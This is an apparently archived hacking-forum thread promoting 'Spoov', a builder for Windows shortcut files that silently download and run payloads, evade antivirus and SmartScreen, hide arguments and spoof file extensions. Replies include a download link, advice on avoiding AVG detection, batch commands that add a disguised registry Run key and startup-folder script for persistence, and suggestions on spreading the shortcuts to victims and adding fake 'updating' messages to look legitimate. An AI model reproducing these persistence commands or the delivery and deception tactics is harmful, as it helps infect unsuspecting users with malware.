Thread: [Spoov v2: HF's #1 free shortcut builder - embed scripts, bypass SmartScreen & more](#)

Vuln - July 4, 2016, 7:26 am

This project is no longer maintained - download link removed

Spoov is a program that can build shell links (Windows file shortcuts) with embedded scripts. It offers some features that are not available through the "Create Shortcut Wizard".

A default template in action (FUD download & execute)

Spoiler [\(Click to View\)](#)

Custom template creator

Spoiler [\(Click to View\)](#)

Features

- 2 default templates: download & execute + execute local file
- Create custom templates
- Bypass SmartScreen
- Set a custom shell mouse hover tooltip
- Hide command-line arguments
- File extension spoofer
- Update checker (notification only, no automatic downloading)

Execute local file

- Works on all Windows versions.
- No errors if the file doesn't exist
- Copies target file into Windows Temp folder before executing
- Can execute any file type.
- Executable file types can have non-executable file extensions.

Download & Execute

- Works on Windows 7/8/8.1/10, and also on Windows XP if the SP 2 Support Tools have been installed.
- Can download & execute any file type.
- Executable file types can have non-executable file extensions.
- If no internet connection is available or another problem occurs, it will keep silently retrying for the next 14 days.

Default template drawbacks

- If someone removes the shortcut's read-only file attribute, it will no longer work. This also means that it would be recommended to archive the shortcut prior to uploading/sharing it.
- When using the download&execute template, a command prompt window will briefly flash.

Builder dependencies

.NET Framework 4.0

danielribero07 - July 7, 2016, 1:21 am

heard mediafire distributes isn't it a bad idea to upload it there? just curious, but thanks for the write up and content. looks good i'll check it out

Vuln - July 7, 2016, 5:22 am

(Jul 7, 2016 01:21 AM)danielribero07 Wrote: [\[CITE\]](#) heard mediafire distributes isn't it a bad idea to upload it there? just curious, but thanks for the write up and content. looks good i'll check it out
MediaFire does indeed scan and distribute all files, but I don't mind, it's only the builder, and it's not going to affect the generated shortcuts. But I don't care about the shortcuts being distributed either, their simplicity makes detections unlikely.

The generated downloaders I scanned on VT a few years ago are still FUD today. Well, except for 1 weird TrendMicro heuristic detection, but I could probably get rid of that by contacting TrendMicro. Also, I'm guessing that it's only detected by VT's version of TrendMicro, and not even by the public commercial and free version. But I need someone to confirm that.

So, have you tried it yet? Any remarks or suggestions?

I'm thinking about doing a project overhaul, so that users can also choose to embed their own batch scripts. And I also want to get rid of the current shitty GUI.

Will Grigg - July 7, 2016, 5:42 am

Can you send this to me would love to try it out.

Vuln - July 7, 2016, 5:58 am

(Jul 7, 2016 05:42 AM)Will Grigg Wrote: [\[CITE\]](#) Can you send this to me would love to try it out.
There's a download link at the bottom of the OP. Big yellow text.

FRI?DBAO™ - July 7, 2016, 9:32 am

There are alot of shorcut builder and compiler and this one works the best thx!

Welshdroo - July 7, 2016, 2:44 pm

Looks good OP ... Thank you , Going try it out :D

(Jul 7, 2016 02:18 PM)100thieves Wrote: [\[CITE\]](#) Can you send this to me would love to try it out.
Link in Post, Didn't you not see it?

(Jul 4, 2016 07:26 AM)Jailbyte Wrote: [\[CITE\]](#) Download link
http://www.mediafire.com/download/gbc4xxc8fg2653z/Spoov_v1.0.zip

RobinVJ - July 7, 2016, 2:59 pm

Pm me with the details OP. Thanks btw

Vuln - July 7, 2016, 4:30 pm

In a few days I will be releasing a new version. It will have more options and a pretty GUI. If anyone wants me to add a specific feature, please do let me know.

(Jul 7, 2016 09:32 AM)FireGaming123 Wrote: [\[CITE\]](#) There are alot of shorcut builder and compiler and this one works the best thx!
Thank you, although I've only seen 1 other shortcut builder on HF, and it was meh.

(Jul 7, 2016 02:44 PM)Welshdroo Wrote: [\[CITE\]](#) Looks good OP ... Thank you , Going try it out :D
Let me know how it goes!

(Jul 7, 2016 02:44 PM)Welshdruo Wrote: [\[CITE\]](#) Link in Post, Didn't you not see it?
I guess the big yellow text wasn't big and yellow enough...

FreginFantasmic - July 9, 2016, 8:01 am

This is very good tool, will be trying it out soon.

BluWave - July 10, 2016, 4:30 am

Looks good. Keep up the hard work.

Kisame? - July 10, 2016, 7:19 am

AVG detected it as malware..?

Vuln - July 10, 2016, 8:32 am

(Jul 10, 2016 04:30 AM)BluWave Wrote: [\[CITE\]](#) Looks good. Keep up the hard work.
Thank you, I will.

(Jul 10, 2016 07:19 AM)marcova99 Wrote: [\[CITE\]](#) AVG detected it as malware..?
I really need more info. What kind of detection was it? And what was detected? The builder, the generated shortcuts, or a file with a spoofed extension? And was it a scantime or runtime detection?

I just generated a shortcut downloader, and it's still (scantime) undetected by AVG. Maybe you entered a detected string, like a flagged domain or file name. Or perhaps you used a detected icon.

If you can't figure it out, please post a screenshot of your current input and settings.

Elitas - July 10, 2016, 9:14 am

This tool looks really cool. ?

Don Genovese - July 14, 2016, 10:30 am

Looks very nice. Will be trying this out soon. Good luck with future development.

Liightman - July 15, 2016, 2:57 am

Thanks for this share, I will try it soon and give a feedback in my reply!
Good luck for the developpement of this tool :)

hextra6 - July 15, 2016, 3:49 am

Mehn, this tool is dope, a vouch for you brother, please I need more insight on how to use the execute file option

IMorpheu - July 15, 2016, 8:14 am

suggestion: 1 you could put shortcuts to start with windows.

2: could add binder files.

Try something like this: `reg add HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Run / v WindowsUpdate / d "% AppData% \ update.bat" / t REG_SZ / f> nul`

Add the registry key

```
echo @echo off> "% AppData% \ Microsoft \ Windows \ Start Menu \ Programs \ Startup \ update.bat"
```

```
echo title Starting >> "% AppData% \ Microsoft \ Windows \ Start Menu \ Programs \ Startup \
update.bat"
```

ADD in boot windows

Thank you for tool, I use a donwload and run in .bat is two years, yet this FUD in VT.

Vuln - July 15, 2016, 9:19 am

Thank you all for the kind comments.

(Jul 15, 2016 03:49 AM)hextra6 Wrote: [\[CITE\]](#) Mehn, this tool is dope, a vouch for you brother, please I need more insight on how to use the execute file option
I sent you a PM.

Thanks for your suggestions, I will keep them in mind. But before I add to or improve its current scripts, I will implement a template system so users can create/import/use their own custom scripts.

Later today I will be releasing a new version made in WPF, but it's not going to include the custom template option yet. I will probably release another update in a few days for that.

ILuvDis02 - July 16, 2016, 8:58 am

The shortcut thing dosent work somewhy . It made the readme.txt but when i execute it on myself it dont work?

what can i be doing wrong.

nothing really happens

Vuln - July 16, 2016, 9:05 am

Thank you so much for sharing this

I'm not sure why it didn't work with your previous url, but good to hear that it's working fine now. By the way, it currently makes use of the Windows service BITS, so sometimes it can take a while before your file (no matter the file size) actually gets downloaded. I will probably add alternative download methods later. If you run into a problem again, please do let me know.

And in case you didn't realize it yet, you can give executable files any file extension you want.

A simple thank you will do, so thank you. ?

ILuvDis02 - July 16, 2016, 10:56 am

Thanks for share! Great tool

IMorpheu - July 23, 2016, 4:57 am

GO update , startUp . rs

eric2221 - July 23, 2016, 9:49 am

This is very good tool, will be trying it out soon.

damien07 - August 29, 2016, 8:56 pm

Thank you. I will be releasing an update to support custom templates soon.

adriancelbun - August 30, 2016, 3:54 am

Awesome tool. Do you have any suggestion on how to spread the shortcut since the victim can see it's "readme.txt.Ink" and they become suspicious?

201 - September 1, 2016, 2:53 am

thank you for sharing this, very useful

2K2k - September 1, 2016, 4:55 am

Looks like a very useful program

adriancelbun - September 2, 2016, 10:31 am

That's an awesome soft. Good job.

realswift - September 24, 2016, 8:29 am

So far it seems to be a good tool! keep up the work

WillHack - September 25, 2016, 1:51 am

Just used this program! This program is sweet! :)

Vitruvius - October 3, 2016, 7:18 am

I think your product is great. I have been looking for something like this. I would like to know when the update would be out.

Zubeqt - October 4, 2016, 5:39 pm

It Would be Awesome if you do a Video with all functions :3 for noobs like me

dilo93 - October 5, 2016, 2:31 am

Can you bypass hwid limitation of a game called Silkroad

Im playing on p server and there is a hwid limitation of 2.

Would be grateful for an answer.

Thanks

DopplerAF - October 5, 2016, 3:45 am

Images on thread are not working maybe you can fix that.

newgonhowzter - October 26, 2016, 11:21 am

how do you ensure the ico image is retained after zipping/sending the file?

<edit> Nevermind, got it working!

? [\$(1000)\$] ? - November 8, 2016, 2:41 pm

Thank you
+repp'd

I have it downloading and executing a 1mb file. It took about 10-15 minutes. Any suggestions how to speed it up.

Also sent a PM

Thanks!

*Sometimes it will not download nor execute when using <http://pomf.cat>

Any suggestions brother?

<https://malwr.com/analysis/YWNhYTI1YTdiOWRkNGM2ZmJmNDQ1Y2E0MjA2MzlmOWM/>A lot of programs copy themselves to temp for a range of reasons. Very few are malicious m. I ran it in sandbox and it doesn't attempt to make any suspicious changes.

roosterbabe36 - December 12, 2016, 2:22 am

Dear OP as you said suggestions are welcome, I thought why not we put a small message box option which runs along with execution of the shortcut, where we can put a custom message and set it with a custom timer say 10 / 20 / 30 seconds. (example: Please wait while your program is being updated) - as the shortcut file takes sometime atleast to download a file and execute it. This message box can be optional, only if someone selects then only activates. This may make the download look more legit.

This is just a small suggestion. If I have been incorrect in any part, I apologize. Thanks and good luck.

Hyperhacktive - December 12, 2016, 3:58 am

Interesting tool, I'll try it soon. Thank you ?

roosterbabe36 - December 12, 2016, 8:27 am

.lnk shortcut file when you download in chrome, it creates a .download extension. Any idea why it happens ?
